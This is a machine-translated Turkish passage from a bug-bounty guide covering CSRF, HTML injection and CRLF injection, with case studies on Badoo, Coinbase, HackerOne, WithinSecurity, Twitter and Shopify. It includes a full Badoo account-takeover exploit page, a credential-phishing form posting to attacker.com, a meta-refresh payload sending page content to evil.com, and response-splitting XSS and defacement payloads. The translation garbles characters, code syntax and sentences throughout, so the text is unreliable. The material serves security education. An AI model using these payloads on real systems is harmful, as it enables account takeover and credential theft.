CSRF bel�rtec� �le CSRF açıklarına karşı korudukları. Daha spes�f�k olarak, onlar
Her kullanıcıya özgü benzers�z, ancak yalnızca beş rakam uzunluğunda b�r URL parametres� kullanın.
yazma zamanında). Badoo'nun böcek ödül programı yayına g�rd�ğ�nde bunu fark ett�m.
HackerOne’da, onu kullanmanın b�r yolunu bulamadım. Ancak, hacker Mahmoud Jamal
yaptı.

Rt parametres�n� ve önem�n� tanıyarak, parametren�n
Hemen hemen tüm JSON yanıtlarında �ade ed�ld�. Ne yazık k� bu CORS olarak yardımcı olmadı
Badoo'yu saldırganlardan kodlanmış oldukları �ç�n bu yanıtları okuyanlardan korur.
uygulama / json �çer�k türler�, ancak Mahmoud kazmaya devam ett�.

Mahmoud daha sonra aşağıdak� JavaScr�pt dosyasını buldu:

https://eu1.badoo.com/worker-scope/chrome-serv�ce-worker.js

Bu dosyanın �ç�nde, şuna benzeyen b�r url_stats değ�şken� vardı :

var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt= <rt_param_value>';

Url_stats değ�şken b�r parametre olarak kullanıcının benzers�z rt değer�n� �çeren b�r URL depolanmış
kullanıcının tarayıcısı JavaScr�pt dosyasına er�şt�ğ�nde. Daha �y�s� neyd�
Bu, kullanıcının rt değer�n� elde etmek �ç�n b�r saldırganın mağduru z�yaret etmes�
JavaScr�pt dosyasına er�şeb�lecek kötü amaçlı b�r web sayfası. Saldırgan daha sonra kullanab�l�r
Herhang� b�r sosyal medya hesabını kullanıcının Badoo hesabıyla �l�şk�lend�recek olan rt değer�;
saldırgana mağdurun hesabına g�r�ş ve değ�ş�kl�k yapma yeteneğ� ver�n. İşte HTML

3 https://hackerone.com/reports/127703

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/157993
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/127703
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/127703
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Sayfa Mahmoud bunu başarmak �ç�n kullanılır (�ç�n kod ve durum değerler�n� kaldırdım.
b�ç�mlend�rme amaçlı):

<Html>
<Head>

<t�tle> Badoo hesabı devraldı </t�tle>

<scr�pt src = https: //eu1.badoo.com/worker-scope/chrome-serv�ce-worker.js? ws = 1 \
> </ Scr�pt>

</ Head>

<Body>
<Scr�pt>

getCSRFcode �şlev� (str) {

dönüş str.spl�t ('=') [2];
}

w�ndow.onload = funct�on () {

var csrf_code = getCSRFcode (url_stats);
csrf_url = 'https: //eu1.badoo.com/google/ver�fy.phtml? code = KOD & authuser = \

3 & sess�on_state = STATE & prompt = none & rt = '+ csrf_code;

w�ndow.locat�on = csrf_url;
};

</ Scr�pt>

</ Body>
</ Html>

B�r mağdur bu sayfayı yükled�ğ�nde, Badoo JavaScr�pt'�n� referans göstererek yükler.
komut dosyasındak� src n�tel�ğ� olarak. Komut dosyasını yükled�kten sonra, web sayfası daha sonra
Anon�m b�r JavaScr�pt �şlev� tanımlayan JavaScr�pt �şlev� w�ndow.onload.
B�r web sayfası yüklend�ğ�nde ve �şlevden bu yana, load olay �şley�c�s� tarayıcılar tarafından çağrılıyor
Tanımlı Mahmoud, w�ndow.onload �şley�c�s�nde depolanır, �şlev� her zaman
Sayfa yüklend�ğ�nde çağrılır.

Ardından, Mahmoud b�r csrf_code değ�şken� yarattı ve buna b�r dönüş değer� verd�.
getCSRFcode adını verd�ğ� �şlev. Bu �şlev b�r d�zg�y� alır ve d�zeye böler
Her '=' karakter�ndek� d�zeler. Daha sonra d�z�n�n üçüncü üyes�n�n değer�n� döndürür.
İşlev url_stats değ�şken�n� Badoo'nun savunmasız JavaScr�pt dosyasından ayrıştırdığında,
d�zey� d�z� değer�ne böler:

https://eu1.badoo.com/chrome-push-stats?ws,1&rt, <rt_param_value>

Sonra �şlev, d�z�n�n üçüncü üyes�n� döndürür, k� bu, rt değer�d�r.
csrf_code ş�md� rt değer�ne eş�tt�r.

CSRF bel�rtec�ne sah�p olduğunda, Mahmoud b�r URL'y� depolayan csrf_url değ�şken�n� oluşturur.
Badoo’nun /google/ver�fy.phtml web sayfasına kend� Google hesabını
kurbanın Badoo hesabı. Bu sayfa, �ç�ne kodlanmış bazı parametreler gerekt�r�r.
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URL d�zes�. Ancak Badoo’ya özgü olduğu �ç�n burada ayrıntılı olarak yer vermeyeceğ�z.
Sert b�r kodlanmış değer� olmayan son rt parametres�n� not almalısınız.

Bunun yer�ne, csrf_code URL d�zes�n�n sonuna b�rleşt�r�lerek rt olarak geç�r�l�r.
parametren�n değer�. Mahmoud, daha sonra w�ndow.locat�on öğes�n� çağırarak b�r HTTP �steğ� yapar.
ve onu z�yaret eden kullanıcının tarayıcısını URL’dek� URL’ye yönlend�ren csrf_url atar.
csrf_url. Kullanıcının tarayıcısı daha sonra /google/ver�fy.phtml sayfasını �şler ve
Kullanıcının Badoo hesabı, Mahmoud’ın Google hesabına, böylece hesap tamamlandı
Devralmak.

çıkarımlar

Dumanın olduğu yerde yangın var. Burada, Mahmud rt parametres�n�n farkına vardı.
farklı yerlerde, özell�kle de JSON yanıtlarında �ade ed�l�yordu. Çünkü
Bunun haklı olarak, rt'n�n olab�leceğ� b�r yerde ortaya çıkab�leceğ�n� tahm�n ett�.
b�r saldırgan tarafından er�ş�leb�l�r ve �st�smar ed�ld� - k� bu durumda b�r JavaScr�pt dosyasıydı.
B�r şeyler�n kapalı olduğunu düşünüyorsanız, kazmaya devam ed�n. B�r proxy kullanın ve tüm
B�r hedef s�tey� veya uygulamayı z�yaret ett�ğ�n�zde çağrılan kaynaklar. Sen
CSRF bel�rtec� g�b� hassas ver�lerle b�r b�lg� sızıntısı bulab�l�r.

Ayrıca, bu har�ka sağlamak �ç�n ekstra m�l g�tmen�n har�ka b�r örneğ�d�r
b�r �st�smarın kanıtı. Mahmoud sadece güvenl�k açığını bulmakla kalmadı, aynı zamanda
onun HTML yoluyla nasıl kullanılacağına da�r tam b�r örnek verd�.

özet

CSRF açıkları başka b�r saldırı vektörünü tems�l eder ve
Mağdur b�le b�r eylem� b�lerek veya akt�f olarak uygular. CSRF açıklarını bulmak
b�raz yaratıcılık ve y�ne, her şey� test etme arzusu.

Genel olarak, Ruby on Ra�ls g�b� uygulama çerçeveler� web'� g�derek daha fazla koruyor
S�tede POST �stekler� gerçekleşt�r�l�yorsa, ancak GET �ç�n durum böyle değ�l
�stekler�, sunucuyu değ�şt�ren herhang� b�r GET HTTP çağrısına d�kkat ed�n.
yan kullanıcı ver�ler� (DELETE �şlemler� g�b�). Son olarak, b�r s�ten�n b�r CSRF s�mges� gönderd�ğ�n� görüyorsanız
B�r POST �steğ�nde, CSRF bel�rteç değer�n� değ�şt�rmey� veya
sunucu varlığını doğrulıyor.
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7. HTML Enjeks�yonu

Açıklama

Köprü Metn� B�ç�mlend�rme D�l� (HTML) enjeks�yonuna bazen sanal den�r.
s�l�nt�. Bu gerçekten kötü n�yetl� b�r kullanıcının �z�n verd�ğ� b�r s�te tarafından gerçekleşt�r�len b�r saldırıdır
B�r kullanıcının g�r�ş�n� düzgün �şlemeyerek HTML'y� web sayfalarına enjekte ed�n. Başka b�r dey�şle,
HTML enjeks�yon güvenl�k açığı, genell�kle bazı formlar aracılığıyla HTML alınmasından kaynaklanır.
web sayfasında daha sonra g�r�ld�ğ� g�b� �şlenen g�r�ş. Bu ayrı ve bel�rg�n
s�teler arası komut dosyası saldırılarına neden olab�lecek Javascr�pt, VBScr�pt vb.

HTML, b�r saldırganın yapab�leceğ� b�r web sayfasının yapısını tanımlamak �ç�n kullanılan d�l olduğundan,
HTML enjekte ett�kler� zaman, b�r tarayıcının oluşturduğunu ve b�r web sayfasının görünüşünü değ�şt�reb�l�r
sevmek. Bazen bu, b�r sayfanın görünümünü veya başka b�r görünümün tamamen değ�şt�r�lmes�ne neden olab�l�r.
durumlarda, kullanıcıları aldatmak �ç�n HTML formları oluşturmak, formu hassas göndermek �ç�n kullanırlar
b�lg� (buna ph�sh�ng den�r). Örneğ�n, HTML enjekte edeb�l�rsen�z,
kullanıcıya, kullanıcı adlarını tekrar g�rmes�n� �steyen b�r <form> et�ket� ekleyeb�l�r.
ve ş�fre g�b�:

<form method = 'POST' eylem = 'http://attacker.com/capture.php' �d = "log�n-form" >

<�nput type = 'text' name = 'kullanıcı adı' value = '' >
<g�r�ş türü = 'ş�fre' adı = 'ş�fre' değer� = '' >

<�nput type = 'Gönder' değer = 'Gönder' >

</ Form>

Ancak, bu formu gönder�rken, b�lg�ler aslında http://attacker.com adres�ne gönder�l�r.
B�lg�ler� b�r saldırganın web sayfasına gönderen b�r act�on n�tel�ğ� aracılığıyla.

Örnekler

1. Co�nbase Yorumlar

Zorluk : Düşük

URL : co�nbase.com/apps

Rapor Bağlantısı : https://hackerone.com/reports/1045431

1 https://hackerone.com/reports/104543
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Rapor Tar�h� : 10 Aralık 2015

Ödemel� Ödül : 200 $

Tanım :

Bu güvenl�k açığı �ç�n, raportör Co�nbase'�n gerçekten URI'y� çözdüğünü bel�rled�
met�n oluştururken kodlanmış değerler. Tanıdık olmayanlar �ç�n, b�r URI'dek� karakterler
ayrılmış veya korunmamış. W�k�ped�a'ya göre, â ayrılmış karakter
bazen / ve & g�b� özel anlamları vardır. Ayrılmamış karakterler
Herhang� b�r özel anlam, t�p�k olarak sadece harfler.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/104543
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/104543


Böylece, b�r karakter URI kodlu olduğunda, Amer�kan’dak� bayt değer�ne dönüştürülür.
B�lg� Değ�ş�m� �ç�n Standart Kod (ASCII) ve yüzde �şaret�nden önce gelen
(%). Böylece, /% 2F olur, &% 26 olur. B�r kenara ASCII, b�r tür kodlamadır;
UTF-8 gelene kadar �nternette en yaygın olanıydı, başka b�r kodlama türü.

Bu örneğe gel�nce, eğer b�r saldırgan HTML g�b� g�rd�yse:

<h1> Bu b�r testt�r </h1>

S�kke temel� aslında tam olarak yukarıda gördüğünüz g�b� düz met�n olarak görünür. Ancak, eğer
kullanıcı aşağıdak� g�b� URL kodlu karakterler gönderd�:

% 3C% 68% 31% 3E% 54% 68% 69% 73% 20% 69% 73% 20% 61% 20% 74% 65% 73% 74% 3C% 2F,% 68,% 31,% 3E

Co�nbase aslında bu d�zg�n�n kodunu çözer ve karşılık gelen harfler� <h1>
et�ketler:

Bu b�r test

Bununla b�rl�kte, raporlayan b�lg�sayar korsanı b�r HTML formunu nasıl oluşturab�leceğ�n� gösterd�.
Co�nbase'�n oluşturacağı kullanıcı adı ve ş�fre alanları. Hacker olsaydı
kötü n�yetl�, kullanıcıları b�r form göndermeler� �ç�n kandırmak �ç�n güvenl�k açığını kullanab�l�rd�
Co�nbase'de �şlenen, kötü n�yetl� b�r web s�tes�ne değerler ger� göndermey� kontrol ett� ve
k�ml�k b�lg�ler�n� almak (�nsanların formu doldurup gönderd�kler�n� varsayarak).

çıkarımlar

B�r s�tey� test ederken, farklı t�plerdek� s�teler�n nasıl �şlend�ğ�n� kontrol ed�n.
düz met�n ve kodlanmış met�n dah�l olmak üzere g�r�ş. Olan s�teler� aramak �ç�n olun
% 2F g�b� URI kodlu değerler� kabul etme ve kod çözme değerler�n� oluşturma
bu durum /. Bu örnekte hacker'ın ne düşündüğünü b�lm�yor olsak da,
URI’n�n kısıtlanmış karakterler� kodlamaya çalıştıklarını ve
Co�nbase onları çözüyordu. Daha sonra b�r adım daha �ler� g�tt�ler ve URI kodlandı
bütün karakterler.

b�r har�ka İsv�çre Ordu bıçak hang� �çer�r kodlama araçlar dır-d�r
https://gchq.g�thub.�o/CyberChef/ . Kontrol etmen�z� ve eklemen�z� öner�r�m
yararlı araçlar l�sten�ze
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2. HackerOne İstenmeyen HTML İçer�ğ�

Zorluk : Orta

URL : hackerone.com

Rapor Bağlantısı : https://hackerone.com/reports/1129352

Rapor Tar�h� : 26 Ocak 2016

Ödemel� Ödül : 500 Dolar

Tanım :

Yahoo! XSS (S�teler Arası Kod Yazma Bölümüne dah�l) I
HTML ed�törler�n� met�n ed�törler�nde test etmey� takıntılı hale get�rd�. Bu oyunla dah�l
HackerOne en Markdown ed�törü, g�b� şeyler g�ren �smap = “yyy = xxx” ve “'test” �çer�de
görüntü Bunu yaparken, ed�törün tek b�r alıntı �çereceğ�n� fark ett�m.
ç�fte alıntı �ç�nde - sarkan b�r �şaretleme olarak b�l�nen şey.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/112935


O zamanlar bunun anlamını gerçekten anlamadım. Enjekte edersen b�l�yordum
başka b�r yerde başka b�r yerde alıntı, �k�s� b�r tarayıcı tarafından b�rl�kte ayrıştırılab�l�r
aralarındak� tüm �çer�ğ� tek b�r HTML öğes� olarak görecekt�. Örneğ�n:

<h1> Bu b�r testt�r </h1> <p class = "some class"> bazı �çer�kler </p> '

Bu örnekte, g�b� b�r asılı tek b�r alıntı �le b�r meta et�ket� enjekte etmey� başardı
�çer�k özn�tel�ğ�nde aşağıdak�ler bulunur:

<meta http-equ�v = "refresh" content = '0; url = https:? //ev�l.com/log.php text =

Tarayıcı, gerçekleşt�r�ld�ğ�nde �k� tek tırnak arasında her şey� gönder�r
https: //ev�l.com'u çağıran yen�leme eylem� (b�r meta yen�leme et�ket� b�r web tarayıcısına tal�mat ver�r.
bel�rl� b�r zaman aralığından sonra geçerl� web sayfasını veya çerçevey� otomat�k olarak yen�ler ve
tarayıcıya URL özn�tel�ğ� aracılığıyla yen� b�r sayfa talep etmes�n� söylemek �ç�n kullanılır). Ş�md�, çıkıyor
bu, Int� De Ceukela�re 3 tarafından HackerOne Report 110578'de b�l�nd� ve açıklandı . Ne zaman
Bu halka oldu, kalb�m b�raz battı.

HackerOne'a göre, Redcarpet'�n (Ruby'n�n b�r kütüphanes� olan) uygulanmasına güven�yorlar.
Markdown �şlem�) o zaman olan herhang� b�r Markdown g�r�ş�n�n HTML çıktısından kaçmak �ç�n
doğrudan kend� başlarına tehl�kel� DOMSnerInnerHTML yöntem� �le HTML DOM’a geç�r�l�r.
React b�leşen� (React, d�nam�k olarak güncellemek �ç�n kullanılab�lecek b�r Javascr�pt kütüphanes�d�r.
web sayfasının �çer�ğ�, sayfayı yen�den yüklemeden). HackerOne uygulamasında, onlar
Potans�yel sömürüye yol açan HTML çıktısını düzgün şek�lde aşmak değ�ld�. Ş�md�
Açıklamaya bakınca, yen� kodu test edeceğ�m� düşündüm. Ger� döndüm ve test ett�m
ekleyerek:

[test] (http://www.torontowebs�tedeveloper.com "test �smap =" uyarı xss "yyy =" test "")

2 https://hackerone.com/reports/112935
3 https://hackerone.com/�nt�dc
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hang� olarak �şlend�:

<a t�tle = "'test" �smap = "uyarı xss" yyy = "test" & # 39; ref = "http://www.toronotwebs�tedeveloper.com"> Test </a>

Gördüğünüz g�b�, <a> et�ket�ne b�r sürü HTML enjekte ett�m . Sonuç olarak,
HackerOne or�j�nal düzeltmeler�n� ger� aldı ve tek tekl�ften kaçmak �ç�n çalışmaya başladı
tekrar.

çıkarımlar

Kod güncellend�ğ�nden, her şey�n sab�t olduğu anlamına gelmez. Test et.
B�r değ�ş�kl�k yapıldığında, bu aynı zamanda hataları �çereb�lecek yen� b�r kod anlamına gel�r.
Ek olarak, b�r şey�n doğru olmadığını düşünüyorsanız, kazmaya devam ed�n! Ben �lk b�l�yordum
Son tek b�r alıntı yapmak sorun olab�l�r, ancak nasıl yararlanacağımı b�lm�yordum ve
durdu. Devam etmel�yd�m. Aslında meta yen�leme hakkında öğrend�m
F�leDescr�ptor'ın blog.�nnerht.ml dosyasını okuyarak faydalanma (Kaynaklara dah�l ed�lm�şt�r)
bölüm) ama çok sonra.

3. Güvenl�k İçer�ğ� Sahtec�l�ğ� İç�nde

Zorluk : Düşük

URL : w�th�nsecur�ty.com/wp-log�n.php

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/intidc
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/112935
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/intidc


Rapor Bağlantısı : https://hackerone.com/reports/1110944

Rapor Tar�h� : 16 Ocak 2015

Ödemel� Ödül : 250 $

Tanım :

İçer�k sahtekarlığı tekn�k olarak HTML’den farklı b�r güvenl�k açığı olsa da
enjeks�yon, ben b�r s�teye sah�p b�r saldırganın benzer doğasını paylaşan olarak buraya dah�l
seçt�kler� �çer�ğ� verd�.

Güvenl�k �ç�nde, g�r�ş yolunu �çeren Wordpress platformunda �nşa ed�lm�şt�r.
w�th�nsecur�ty.com/wp-log�n.php (s�te o zamandan ber� HackerOne çek�rdeğ�yle b�rleşt�r�lm�şt�r.
platformu). B�r hacker, g�r�ş �şlem� sırasında, b�r hata oluştuğunda, �ç�nde olduğunu fark ett�.
Güvenl�k, ayrıca error parametres�ne karşılık gelen access_den�ed �şlev�n� ver�r
URL’de:

https://w�th�nsecur�ty.com/wp-log�n.php?error=access_den�ed

Bunu farkeden hacker, error parametres�n� değ�şt�rmey� dened� ve ne olduğunu buldu.
değer �let�ld�, s�teye sunulan hata �let�s�n�n b�r parçası olarak ver�ld�
kullanıcılar. İşte kullanılan örnek:

4 https://hackerone.com/reports/111094
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https://w�th�nsecur�ty.com/wp-log�n.php?error=Your%20account%20has%20%hacked

W�th�nSecur�ty İçer�k Sahtec�l�ğ�

Buradak� anahtar, sayfada görüntülenen URL’dek� parametrey� fark ed�yordu. Bas�t
access_den�ed parametres�n� değ�şt�rme test� muhtemelen bu güvenl�k açığını ortaya çıkardı
Bu da rapora yol açtı.

çıkarımlar

URL parametreler�ne �let�lmekte ve �şlenmekte ve
s�te �çer�ğ� Saldırganların kurbanları aldatması �ç�n fırsatlar sunab�l�rler

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111094
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111094


bazı kötü n�yetl� eylemlerde bulunmak. Bazen bu Cross S�te �le sonuçlanırScr�pt�ng Attacks, d�ğer zamanlarda daha az etk�l� �çer�k sahtekarlığı ve
HTML enjeks�yonu Akılda tutulması öneml�d�r, bu rapor 250 dolar öderken,
Güvenl�k �ç�n asgar� �kram�yeyd� ve tüm programlar değer ve ödeme yapmazlardı.
bu tür raporlar �ç�n.

özet

HTML Enjeks�yonu, s�teler ve gel�şt�r�c�ler �ç�n b�r güvenl�k açığı sunar çünkü
kullanıcıları k�ml�k avı yapın ve onları kötü n�yetl� b�lg�lere hassas b�r şek�lde gönderme veya onları z�yaret etme konusunda kandırma
web s�teler�.
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Bu tür güvenl�k açıklarını keşfetmek her zaman düz HTML göndermekle �lg�l� değ�ld�r
ayrıca, b�r s�ten�n g�r�len metn�n�z� URI kodlu g�b� nasıl yazab�leceğ�n� de keşfetme hakkında
karakter. Ve tamamen HTML enjeks�yonuyla aynı olmasa da, �çer�k sahtekarlığı benzer
Bu, bazı g�rd�ler�n HTML sayfasındak� b�r kurbana ger� yansıtılmasını �çer�r. hackerlar
URL parametreler�n� değ�şt�rme fırsatı bulmalı ve
S�tede �şlenenler ancak tüm s�teler�n bu türler �ç�n değer ve ödeme yapmadığını unutmayın
Raporların
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8. CRLF Enjeks�yonu

Açıklama

B�r uygulamada satır başı satır satır besleme (CRLF) enjeks�yon güvenl�k açığı oluşuyor
kullanıcı g�r�ş�n� doğru şek�lde ster�l�ze etmez ve satırbaşının eklenmes�ne �z�n ver�r
ve satır beslemeler�; HTML de dah�l olmak üzere pek çok İnternet protokolü �ç�n satırı bel�rt�r.
kırılır ve özel b�r önem� vardır.

Örneğ�n, HTTP mesaj ayrıştırması, bölümler�n� tanımlamak �ç�n CRLF karakterler�ne dayanır.
RFC'lerde tanımlandığı ve tarayıcıların kullandığı, başlıklar dah�l olmak üzere HTTP mesajları. URL
kodlanmış, bu karakterler% 0D% 0A, kodu çözülmüş \ r \ n. Etk�s�
CRLF Enjeks�yonu, HTTP İsteğ� Kaçakçılığı ve HTTP Yanıt Bölmes�n� �çer�r.

HTTP İsteğ� Kaçakçılığı, b�r HTTP �steğ� b�r sunucudan geç�r�ld�ğ�nde gerçekleş�r
b�r proxy veya güvenl�k duvarı g�b� onu �şler ve başka b�r sunucuya geç�r�r. Bu t�p
güvenl�k açığı şunlara neden olab�l�r:

• Önbellek zeh�rlenmes�, b�r saldırganın başvurulardak� kayıtları değ�şt�reb�leceğ� b�r durum
b�r önbellek yer�ne önbellek ve kötü amaçlı sayfalar (örneğ�n, JavaScr�pt �çeren) sunun
uygun sayfa

• Güvenl�ğ� önlemek �ç�n CRLF'ler kullanılarak b�r �steğ�n hazırlanab�leceğ� Güvenl�k Duvarı kaçağı.
çekler

• Saldırı �steme, b�r saldırganın HttpOnly çerezler�n� çalab�leceğ� b�r durum.
HTTP k�ml�k doğrulama b�lg�s�. Bu, XSS'ye benzer ancak etk�leş�m gerekt�rmez
saldırgan �le müşter� arasında

Ş�md�, bu güvenl�k açıkları mevcut olmakla b�rl�kte, bunları elde etmek ve ayrıntılandırmak zor
bu k�tabın kapsamı dışında. Onlara sadece nasıl olduğunu göstermek �ç�n buraya başvurdum.
İstek Kaçakçılığının etk�s� ş�ddetl� olab�l�r.

Bununla b�rl�kte, HTTP Yanıt Bölme, b�r saldırganın HTTP yanıt başlıkları eklemes�ne �z�n ver�r
ve potans�yel olarak HTTP cevap organlarını kontrol etmek ya da yanıtı tamamen, etk�l� b�r şek�lde bölmek
�k� ayrı yanıt oluşturma. Bu etk�l�d�r, çünkü HTTP başlıklarını değ�şt�rmek
b�r kullanıcıyı beklenmeyen b�r web s�tes�ne yönlend�rmek g�b� �stenmeyen davranışlarla sonuçlanab�l�r veya
saldırganlar tarafından kontrol ed�len açıkça yen� �çer�k sunmak.
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1. Tw�tter HTTP Yanıt Bölme

Zorluk : Yüksek

URL : https://tw�tter.com/�/safety/report_story

Rapor Bağlantısı : https://hackerone.com/reports/52042 1

Rapor Tar�h� : 21 N�san 2015

Ödemel� Ödül : 3.500 Dolar

Tanım :

N�san 2015’te, @f�ledescr�ptor, Tw�tter’a b�lg�sayar korsanlarına �z�n veren b�r güvenl�k açığı olduğunu b�ld�rd�
B�r HTTP �steğ�ne ek b�lg� g�rerek keyf� b�r çerez oluşturmak �ç�n.

Esasen, HTTP �steğ� https://tw�tter.com/�/safety/report_story (Tw�tter kalıntı �z�n ver�en
kullanıcıların uygunsuz reklamları b�ld�rmeler�n� sağlamak), b�r report_tweet_�d parametres� �çerecekt�r.
Yanıt ver�rken, Tw�tter aynı parametrey� �çeren b�r çerez de döndürür
HTTP �steğ� �le geçt�. @F�ledescr�ptor yaptığı testler sırasında CR’n�n
LF karakterler� ster�l�ze ed�ld�, LF'n�n yer�ne b�r boşluk kondu ve CR sonuçlandı
HTTP 400 (Hatalı İstek Hatası).

Ancak, b�r b�lg� ans�kloped�s� olan F�reFox’un daha önce olduğunu b�lm�şt�.
çerezler� ayarlarken alınan geçers�z karakterlerden sıyrılan kodlama hatası
kodlamak yer�ne. Bu, F�reFox’un yalnızca bel�rl� b�r aralığı kabul etmes�n�n b�r sonucuydu.
kabul ed�leb�l�r değerler Tw�tter �le benzer b�r yaklaşımı test ederek, @f�ledescr�ptor kullandı
% 0A �le b�ten Un�code karakter å˜ (U + 560A), b�r Satır Beslemes�. Ama bu değ�ld�
çözüm. Ancak bu parametre URL’de geç�r�l�yordu, yan� URL’yd�.
UTF-8 �le kodlanmış. Sonuç olarak å˜% E5% 98% 8A oldu.

Ş�md�, bu değer� göndererek, @f�ledescr�ptor, Tw�tter’ın herhang� b�r tesp�t edemed�ğ�n� buldu
Kötü n�yetl� karakterler, sunucusunun değer� Un�code değer�ne ger� döndürür
56 0A ve geçers�z karakter� kaldır. 56 Bu, satır besleme karakterler�n� 0A olarak bıraktı.
Sürec� gösteren resm�nde göster�lm�şt�r:

1 https://hackerone.com/reports/52042
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CRLF Kod Çözme Sürec�

Benzer b�r şek�lde, �çer� geçmek mümkün % 20Test:% E5% 98,% 8A% E5% 98,% 8DSet-çerez sonuçlandı
% 0A ve% 0D �ç�nde çerez başlığına dah�l ed�ld� ve Set-
Çerez: Tw�tter'dan tekrar test ed�n.

Ş�md�, CLRF saldırıları, XSS saldırılarına �z�n verd�kler�nde daha da tehl�kel� olab�l�r (bkz.
Daha fazla b�lg� �ç�n S�teler Arası Komut Dosyası Bölümü). Bu durumda, çünkü Tw�tter f�ltreler� vardı
atlandı, @f�ledescr�ptor yanıtı böleb�l�r ve b�r kullanıcının çalınması �ç�n XSS yürüteb�l�r
oturum ve bel�rteç. URL, b�ç�mlend�rme amacıyla b�rden fazla satıra bölünmüştür:
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https://tw�tter.com/log�n?red�rect_after_log�n=
https://tw�tter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8D

Yer:% E5% 98,% 8A% E5% 98,% 8D% E5% 98,% 8A% E5% 98,% 8D% E5% 98,% BCsvg / Onload = uyarı% 28�nnerHT \



ML% 29% E5% 98% BE

B�berlerde 3 bayt değer�n�n% E5% 98% 8A,% E5% 98% 8D,% E5% 98% BC olduğuna d�kkat ed�n.
% 98,% BE E5%. Bunların heps� şu şek�lde çözüldü:

% E5% 98% 8A => 56 0A =>% 0A

% E5% 98% 8D => 56 0D =>% 0D
% E5% 98% BC = = 56 3C =>% 3C

% E5% 98% BE => 56 3E =>% 3E

Tüm bu karakterler� değ�şt�rmek ve gerçekten satır sonları eklemek, �şte başlık
benz�yor:

https://tw�tter.com/log�n?red�rect_after_log�n=https://tw�tter.com:21/

�çer�k türü: text / html

yer:
<Svg / onload = alert (�nnerHTML)>

Gördüğünüz g�b�, satır sonları döndürülecek yen� b�r başlık oluşturulmasına �z�n ver�yor
çalıştırılab�l�r JavaScr�pt kodu �le - svg / onload = alert (�nnerHTML). Uyarı b�r
web sayfasının �çer�ğ� �le Tw�tter �ç�n b�r kavram kanıtı olarak açılır. Bununla
kodu, kötü n�yetl� b�r kullanıcı şüphes�z b�r kurbanın Tw�tter oturumu b�lg�ler�n� çalab�l�r
Çünkü bu hassas b�lg�ler enjeks�yon bölges�nden sonra başlık olarak dah�l ed�ld�.
@f�ledescr�ptor kullandı.

çıkarımlar

İy� saldırı, gözlem ve becer�n�n b�r b�rleş�m�d�r. Bu durumda, @ f�ledescr�p-
tor, kodlamayı yanlış kullanan öncek� b�r F�refox kodlama hatasını b�l�yordu.
Bu b�lg�ye dayanarak, Tw�tter'dak� benzer kodlamaları denemes�ne neden oldu.
eklenen kötü amaçlı karakterler� alın.

Zaf�yetler� ararken, da�ma dışını düşünmey� unutmayın.
kutu ve s�ten�n g�r�ş� nasıl ele aldığını görmek �ç�n kodlanmış değerler� gönder�n.

2. v.shop�fy.com Yanıt Bölme

Zorluk : Orta

URL : v.shop�fy.com/last_shop?x.myshop�fy.com

Rapor Bağlantısı : https://hackerone.com/reports/1064272

2 https://hackerone.com/reports/106427
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Rapor Tar�h� : 22 Aralık 2015

Ödemel� Ödül : 500 Dolar

Tanım :

Mağaza yönet�c�s� olarak, Shop�fy b�r çerez bel�rleyen sunucu tarafında �şlevsell�k �çer�r
Son g�r�ş yaptığınız mağazayı kaydetmek �ç�n tarayıcınızda Muhtemelen bu b�r
ber� g�r�ş ve çıkış yaparken s�z� alt alanınıza yönlend�rmek �ç�n kolaylık �şlev�
URL'ler STORENAME.myshop�fy.com model�n� tak�p ed�yor. Bu çerez ayarı b�r GET üzer�nden gerçekleş�r
/last_shop?SITENAME.shop�fy.com adres�ne �stek gönder

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/106427
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/106427


Aralık 2015’te, b�r b�lg�sayar korsanı Shop�fy’ın shop parametres�n� doğrulamadığını b�ld�rd�
çağrıya aktarılıyor. Sonuç olarak, Burp Su�te kullanarak, bu hacker �steğ� değ�şt�rd�
Shop�fy sunucularından döndürülen yen� başlıklar oluşturmak �ç�n% 0d% 0a ekleme. İşte b�r
ekran görüntüsü:

Shop�fy HTTP Yanıt Bölme

İşte kötü amaçlı kod:

% 0d% 0aContent-Uzunluk:% 200% 0d% 0a% 0d% 0aHTTP / 1.1% 20200% 20OK% 0d% 0aContent-T�p:% 20te \

xt / html% 0d% 0aContent-Uzunluk:% 2019% 0d% 0a% 0d% 0a <html> deface </html>

Bu durumda,% 20 b�r boşluğu tems�l eder ve% 0d% 0a, CRLF'd�r. Sonuç olarak, tarayıcı
�k� geçerl� HTTP yanıtı aldı ve
XSS ve ph�sh�ng dah�l olmak üzere çeş�tl� güvenl�k açıkları.

çıkarımlar

B�r s�ten�n g�r�ş�n�z� kabul ett�ğ� ve kullandığı fırsatlar �ç�n uyanık olun
dönüş çerezler�n�n b�r parçası olarak, özell�kle çerezler� ayarlayarak. Bu özell�kle
mağdurdan daha az etk�leş�m olması neden�yle, b�r GET �steğ� �le gerçekleşt�ğ�nde öneml�
gerekl�d�r.
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özet

İy� saldırı, gözlem ve becer�n�n b�r b�rleş�m�d�r ve kodlamanın ne olduğunu b�lmek
Karakter açıklarından yararlanab�lmek �ç�n kullanılab�lecek zayıf b�r becer�d�r. % 0D% 0A
CRLF Enjeks�yon sorunlarına yol açab�leceğ� �ç�n özell�kle öneml� karakterlerd�r. Ne zaman
